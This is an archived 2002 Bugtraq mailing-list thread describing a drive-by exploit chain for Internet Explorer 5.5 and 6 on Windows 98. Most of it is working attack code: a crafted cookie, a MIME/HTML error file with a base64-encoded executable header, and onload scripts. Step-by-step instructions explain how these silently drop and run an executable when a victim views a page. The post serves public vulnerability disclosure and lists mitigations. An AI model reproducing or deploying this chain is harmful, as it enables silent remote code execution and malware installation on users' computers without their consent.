On closer examination, if we can format our cookie, we have a new and interesting entry point, bringing to final closure, once and for all, the "dangers of cookies". The following represents an actual cookie: ---killer K00kie--- MIME-Version: 1.0 Content-Location:file:///malware.exe Content-Transfer-Encoding: base64 TVpEAQUAAgAgACEA//91AAACAACZAAAAPgAAAAEA+zBqcgAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAB5AAAAngAAAAAAAAAAAAAAAAA=/www.malware.com/ <applet CLASSID="CLSID:55555555-5555" codebase="mhtml:file:///C:\WINDOWS\TEMP\Cookies\anyuserat_private [1].txt!file:///malware.exe">160092129932829606357209871436829509617* ---killer K00kie--- CAUTION: the above is a fully functional self-contained 'live' executable 1. Combining the Jelmer mhtml code base and the Sandblad cookie injection technique with dot bug to render as html, we whittle down everything to the absolute bare minimum. 2. The above is all that is required to 'execute' our malware.exe. In the above the base64 encoding is our bare minimum MZD header to execute. 3. If we can format our first three lines in the cookie as above and with one space between the encoding, it will function as designed. 4. Question is, can we? End Call -- Jelmer <jelmerat_private> said: > This allows for execution of arbitrary code see my winamp and ICQ exploits > > http://kuperus.xs4all.nl/winamp.htm > > www.xs4all.nl/~jkuperus/icq/icq.htm > > I posted a message explaining how it works (and proofing winamp 3 is > vulnerable aswell) but the fine bugtraq moderators chose to moderate it out > for no apperent reason > > -- > jelmer Brilliant ! The culmination of yet another silent delivery and installation of an executable on the target computer, no client input other than viewing a web page. This is precisely what happens when vendors poo poo small but important "stepping stone" discoveries. They all ultimately add up into one monster problem. Fortunately for this manufacturer, one key component is to be addressed in the "ever" pending Internet Explorer 6 SP1. Nevertheless for untold millions who'll probably never hear about that, consider the following quality components added to our Silly Behavior for full remote take over: 1. The Andreas Sandblad dot bug of May 19 2002 [MAY!] 2. The Jelmer ICQ and MSIE allow execution of arbitrary code of July 16 2002 3. The malware.com Silly Behavior of Internet Explorer browsers The core components being as follows: a) codebase="mhtml:file:///C:/Windows/temp/wecerr.txt! file:///malware.exe b) location=("file:///c:/windows/temp/wecerr.txt .") What this all means is, we continue along with our Silly Behavior and create our custom error message to be "served" by the server when we are unable to locate our "web folder". That custom error message now comprises both our html and our base64 encoding. Where it gets particularly clever is utilising Jelmer's method as in a) above. Specifically: Our simple error 404 output created by the Silly Behavior of Internet Explorer 5.5 and 6.0 now conveniently created as wecerr.txt in our known location is comprised as follows: <html style="display:none;"> From: <Saved by Microsoft Internet Explorer 5> Subject: Date: Thu, 15 Aug 2002 21:07:44 -0400 MIME-Version: 1.0 Content-Type: multipart/related; boundary="----=_NextPart_000_0001_01C2449F.CD3FE240"; type="text/html" X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 This is a multi-part message in MIME format. ------=_NextPart_000_0001_01C2449F.CD3FE240 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Location: file:///malware.exe <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD> <META http-equiv=Content-Type content="text/html; charset=windows- 1252"> <META content="MSHTML 6.00.2716.2200" name=GENERATOR></HEAD> <BODY> <applet CLASSID="CLSID:55555555-5555" CODEBASE="mhtml:file:///C:/Windows/temp/wecerr.txt! file:///malware.exe"></applet> </BODY></HTML> ------=_NextPart_000_0001_01C2449F.CD3FE240 Content-Type: application/x-msdownload Content-Transfer-Encoding: base64 Content-Location: file:///malware.exe TVpEAQUAAgAgACEA//91AAACAACZAAAAPgAAAAEA+zBqcgAAAAAAAAAAAAAAAAAAAAAAAA AAAAAA What this does is combine both our html file and our embedded executable in one single file. Our object and its codebase point to the embedded executable inside our file. As can be seen above. We then take the Sandblad dot bug and point that to our wecerr.txt like so: <body onload=malware() style="behavior: url(#default#httpFolder);"> <script> function malware(){ document.body.navigate("http://www.microsoft.com");alert ("malware");location=("file:///c:/windows/temp/wecerr.txt .") } </script> The following happens: 1. We send our target to our web site with our Silly Behavior all set up. 2. Immediately on viewing the web site, the Jelmer custom crafted wecerr.txt comprised of our html and our base64 encoded executable is deposited in our know location. The temp folder. 3. Immediately thereafter the Sandblad modified Silly Behavior script with the dot bug automatically opens our weberr.txt in full html splendour. 4. This is achieved because at the header of our wecerr.txt the Jelmer custom tag: <html style="display:none;"> is placed. And in typical fashion all contents thereafter are rendered as html. Thanks to 3 above, the Sandblad dot bug and Internet Explorer's unique capabilities. 5. Internet Explorer has now opened the wecerr.txt as html and inside that our html object is fired: <applet CLASSID="CLSID:55555555-5555" CODEBASE="mhtml:file:///C:/Windows/temp/wecerr.txt! file:///malware.exe"></applet> 6. What that does is point back to itself, the wecerr.txt and render the codebase as mthml where our executable is base64 encoded. 7. It "extracts" our malware.exe and executes it ! Brilliant ! Well done Jelmer and Sandblad. Fully tested in win98 and Internet Explorer 6 with all of its bandages. Notes: 1. The manufacturer is expected to address the codebase file execution in its "ever" pending SP1 for Internet Explorer 6. Internet Explorer 5.5 and its problems are not known at this time. 2. The dot bug from May. Perhaps that too will be addressed in the "ever" pending SP1 for Internet Explorer 6. Internet Explorer 5.5 and its problems are not known at this time. 3. Uninstall the "web folder" component. Add/remove, Internet Explorer, remove components. 4. Disable Active Scripting. 5. Run ! full credit to: Jelmer http://kuperus.xs4all.nl/ Andreas Sandblad http://www.sandblad.com/ End Call > ----- Original Message ----- > From: "http-equivat_private" <http-equivat_private> > To: <bugtraqat_private>; <NTBugtraqat_private> > Sent: Thursday, August 15, 2002 2:34 AM > Subject: SILLY BEHAVIOR : Internet Explorer 5.5 - 6.0 > > > > Wednesday, August 14, 2002 > > > > The following represents a trivial yet elaborate method of injecting > > arbitrary html into the "My Computer" zone on win98 using the > > Internet Explorer series of browsers. > > > > Internet Explorer enjoys a unique component called the "Web Folder" > > component. This is a selectable component install with the original > > installation of the browser or can be added later on. This unique > > component allows for an assortment of web publishing and authoring > > conveniences, often touted as useful "feature". > > > > But what it actually does, is create a nicely named file for us in a > > known location. > > > > Where: > > > > The Internet Explorer series 5 through 6 enjoy a related behavior to > > the so-called "Web Folder" component which allows us to point > > directly to one of these web folders and traverse it directly. > > However, should the folder not exist, an error message is generated > > and conveniently placed for us in the temp folder: > > > > So: > > > > This particular error message is nothing more than a server side 404 > > error message which can be modified to suit our needs as we require. > > > > Commence: > > > > We first construct our trivial behavior to generate the error message > > like so: > > > > <body onload=malware() style="behavior: url (#default#httpFolder);"> > > <script> > > function malware(){ > > document.body.navigate("http://www.microsoft.com");alert > > ("malware");open("file://C%3A%5CWINDOWS%5CTemp%5Cwecerr.txt") > > } > > </script>> > > > > What this will do is "probe" the target site for a webfolder, and if > > not found, create our error file in the temp folder as follows: > > > > [screen shot: http://www.malware.com/behave.png 4KB] > > > > Because the error fie is nothing more than a text file, we need to > > include our own html and allow Internet Explorer to 'read' it. > > Previously numerous possibilities to allow for this existed, > > including <object data="" type="text/html>, databinding with > > dataformatas="HTML", dotting file extensions etc. These now all > > appear to be patched. > > > > Good: > > > > But because we can craft our own error message on the server and > > point our trivial behavior to it, we simply construct our error > > message like so: > > > > MIME-Version: 1.0 > > Content-Type: text/html; > > charset="Windows-1252" > > Content-Transfer-Encoding: 7bit > > > > <br><br> > > <body bgcolor=black> > > <center><font size="24" color="red" > > face="arial">malware</font></center> > > > > What that will do is generate our simple text file in our temp > > folder, and by merely mhtml'izing our url like so: open > > ("mhtml:file://C%3A%5CWINDOWS%5CTemp%5Cwecerr.txt"), Internet > > Explorer will open our text file in full html splendor. > > > > Inclusive of whatever other "objects" we so desire. > > > > [screen shot: http://www.malware.com/your.png 8KB] > > > > Working Example: > > > > note: windows98 with temp folder default. > > note: requires the 'web component' > > note: simple text file only for demo purposes > > > > http://www.malware.com/behave.html > > > > > > [screen shot: http://www.malware.com/self.png 12KB] > > > > > > Notes: > > > > 1. None. > > > > > > > > End Call > > > > > > -- > > http://www.malware.com > > > > > > > > > > > > > > *yawn* > > > > > > > > > > > > > > > > -- http://www.malware.com
This archive was generated by hypermail 2b30 : Tue Aug 20 2002 - 09:13:03 PDT
